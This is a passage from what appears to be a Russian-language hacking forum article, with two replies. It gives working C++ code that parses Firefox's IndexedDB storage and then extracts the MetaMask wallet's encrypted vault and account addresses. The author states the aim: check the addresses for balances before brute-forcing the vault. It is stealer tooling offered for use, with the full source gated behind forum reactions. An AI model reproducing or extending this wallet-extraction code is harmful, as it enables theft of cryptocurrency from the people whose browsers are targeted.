            if (uData & (1 << 2)) sRegex.push_back('m');
            if (uData & (1 << 5)) sRegex.push_back('s');
            if (uData & (1 << 4)) sRegex.push_back('u');
            if (uData & (1 << 7)) sRegex.push_back('v');
            if (uData & (1 << 3)) sRegex.push_back('y');

            const std::uint64_t uSecondPair = bfRead.template ReadTrivial<std::uint64_t>();
            const std::uint32_t uSecondTag = GetPairTag(uSecondPair);
            if (static_cast<GeckoIDBObjType>(uSecondTag) == GeckoIDBObjType::String)
            {
                const std::uint32_t uSecondData = GetPairData(uSecondPair);
                const bool bIsLatin1 = !!(uSecondData & 0x80000000);
                std::uint32_t uLength = uSecondData & 0x7FFFFFFF;
                if (!bIsLatin1)
                    uLength *= 2;

                {
                    sRegex.push_back('/');
                    auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
                    std::string sStr = ConvertString(bIsLatin1, vStr);
                    sRegex.append(sStr);
                }

                rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sRegex));
                uLength = 8 - ((uLength - 1) & 7) - 1;
                bfRead.SkipBytes(uLength);
            }

            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ArrayObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Array>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ObjectObject: [[fallthrough]];
        case GeckoIDBObjType::MapObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::ObjectOrMap>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::SetObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Set>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BackReferenceObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            if (uData >= rObjects.size())
                break;

            pObj = rObjects[uData];
            break;
        }

        case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
        case GeckoIDBObjType::ArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedWasmMemoryObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        default:
            if (uTag < 0xFFF00000)
                rObj.v.emplace<GeckoIDBJSObject::Double>(std::bit_cast<double>(uPair));
            break;
    }

    return bObjectPushed;
}

Ну и для того, чтобы мы могли находить объекты по их индексу / имени, нам нужно имплементировать кастомный хешер и компарер, а для того, чтобы различать типы хешированных данных, мы будем их тагать:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
struct GeckoKeyHash
{
    using is_transparent = void;

    constexpr static std::size_t TYPE_SHIFT = std::numeric_limits<std::size_t>::digits - 2;
    constexpr static std::size_t HASH_MASK = (std::size_t(1) << TYPE_SHIFT) - 1;
    constexpr static std::size_t TYPE_MASK = ~HASH_MASK;

    constexpr static std::size_t HASH_TYPE_POINTER = 0;
    constexpr static std::size_t HASH_TYPE_INT = 1;
    constexpr static std::size_t HASH_TYPE_STRING = 2;

    inline std::size_t operator()(std::string_view) const noexcept;
    inline std::size_t operator()(std::int32_t) const noexcept;
    inline std::size_t operator()(std::shared_ptr<GeckoIDBJSObject>) const noexcept;
};

struct GeckoKeyCompare
{
    using is_transparent = void;

    inline bool operator()(std::string_view, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(std::int32_t, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(const std::shared_ptr<GeckoIDBJSObject> &, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
};

inline std::size_t GeckoKeyHash::operator()(std::string_view svString) const noexcept
{
    std::size_t szHashed = std::hash<std::string_view>{}(svString);
    return (szHashed & HASH_MASK) | (HASH_TYPE_STRING << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::int32_t iValue) const noexcept
{
    if constexpr (sizeof(std::uintptr_t) == 8)
        return static_cast<std::size_t>(std::bit_cast<std::uint32_t>(iValue)) | (HASH_TYPE_INT << TYPE_SHIFT);
    else
        return (std::hash<std::int32_t>{}(iValue) & HASH_MASK) | (HASH_TYPE_INT << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::shared_ptr<GeckoIDBJSObject> pObj) const noexcept
{
    switch (pObj->v.index())
    {
        case GeckoIDBJSObject::Int: return this->operator()(pObj->GetInt());
        case GeckoIDBJSObject::String: return this->operator()(pObj->GetString());
        default:
        {
            std::uintptr_t szHashed = std::bit_cast<std::uintptr_t>(pObj.get());
            return (szHashed & HASH_MASK) | (HASH_TYPE_POINTER << TYPE_SHIFT);
        }
    }
}

inline bool GeckoKeyCompare::operator()(std::string_view svFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsString()) return false;
    return pSecond->GetString() == svFirst;
}

inline bool GeckoKeyCompare::operator()(std::int32_t iFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsInt()) return false;
    return pSecond->GetInt() == iFirst;
}

inline bool GeckoKeyCompare::operator()(const std::shared_ptr<GeckoIDBJSObject> & pFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{ return pFirst.get() == pSecond.get(); }

А что там с MetaMask?

Что ж, и теперь заключительная часть нашей статьи, то, с чего мы собственно и начали, вытаскивание инфы из экстейшена метамаск. Метамаск хранит дофига данных, но нам интересен лишь его vault и адреса юзера (чтобы мы могли чекнуть их на баланс, прежде чем брутить vault). Метамаск хранит все свои данные по ключу data, чтож, с нашей имплементацией здесь всё довольно тривиально:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
tl::expected<std::string, std::error_code> ExtractMetamask(GeckoIndexedDB<std::string> cIDB) noexcept
{
    auto pKeyData = cIDB.ReadKey("data");
    if (!pKeyData || pKeyData->t != GeckoIDBObjType::ObjectObject)
        return tl::unexpected(std::make_error_code(std::errc::no_message));

    assert(pKeyData->IsObjectOrMap());
    auto & rMainObject = pKeyData->GetObjectOrMap();
 
    std::string sVault;
    std::unordered_set<std::string> sAddresses;

    auto iKeyRingController = rMainObject.find("KeyringController");
    if (iKeyRingController != rMainObject.end() && iKeyRingController->second->IsObjectOrMap())
    {
        auto & rKRCtrlObj = iKeyRingController->second->GetObjectOrMap();
        auto iVaultStr = rKRCtrlObj.find("vault");
        if (iVaultStr != rKRCtrlObj.end() && iVaultStr->second->IsString())
            sVault = iVaultStr->second->GetString();
    }

    auto iAccsController = rMainObject.find("AccountsController");
    if (iAccsController != rMainObject.end() && iAccsController->second->IsObjectOrMap())
    {
        auto & rAccsCtrlObj = iAccsController->second->GetObjectOrMap();
        auto iInternalAccounts = rAccsCtrlObj.find("internalAccounts");
        if (iInternalAccounts != rAccsCtrlObj.end() && iInternalAccounts->second->IsObjectOrMap())
        {
            auto rInternalAccs = iInternalAccounts->second->GetObjectOrMap();
            auto iAccounts = rInternalAccs.find("accounts");
            if (iAccounts != rInternalAccs.end() && iAccounts->second->IsObjectOrMap())
            {
                auto rAccs = iAccounts->second->GetObjectOrMap();

                for (auto [_, rAccObj] : rAccs)
                {
                    if (!rAccObj->IsObjectOrMap())
                        continue;

                    auto & rAcc = rAccObj->GetObjectOrMap();
                    auto iAddr = rAcc.find("address");
                    if (iAddr != rAcc.end() && iAddr->second->IsString())
                    {
                        const std::string & sAcc = iAddr->second->GetString();
                        if (sAcc.starts_with("0x"))
                            sAddresses.insert(sAcc);
                    }
                }
            }
        }
    }

    std::vector<std::string> vAddresses(std::make_move_iterator(sAddresses.begin()), std::make_move_iterator(sAddresses.end()));
    auto sFormattedAddresses = vAddresses.size() ? std::accumulate(std::next(vAddresses.begin()), vAddresses.end(), vAddresses[0],
                                    [](auto && sFirst, auto && sSecond) noexcept { return std::move(sFirst) + ", " + sSecond; }) : std::string();
    return std::format("Vault: {0}\nAddresses: {1}", sVault, sFormattedAddresses);
}

Результат:
Спойлер
metamask.png


На этом всё, я старался сделать статью как можно короче и без лишней воды, но она всё равно получилась немаленькой. Знаю, что статья возможно будет сложно восприниматься хотя бы без средненького технического бекграунда, но я старался всё максимально разжевать по теме, надеюсь вам понравилось. :)

У вас должно быть более 5 реакций для просмотра скрытого контента.

Edit: странно, архив не прикрепился, залил на форумный файлообменник.
DamageLib
 
Ты пишешь формат "гековского indexdb", имеется ввиду, что бывают разные форматы indexdb в том же хроме, или в мессенджерах на электроне? Или они одинаковые везде?
 
DildoFagins сказал(а):
Ты пишешь формат "гековского indexdb", имеется ввиду, что бывают разные форматы indexdb в том же хроме, или в мессенджерах на электроне? Или они одинаковые везде?
Нажмите, чтобы раскрыть...
Конечно разные, я же на этом даже акцент в статье сделал:
устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты
Нажмите, чтобы раскрыть...
В хроме у IndexedDB под капотом LevelDB, а у Gecko собственный формат. Насчет электрона не скажу, но там вроде тоже LevelDB.
 
Top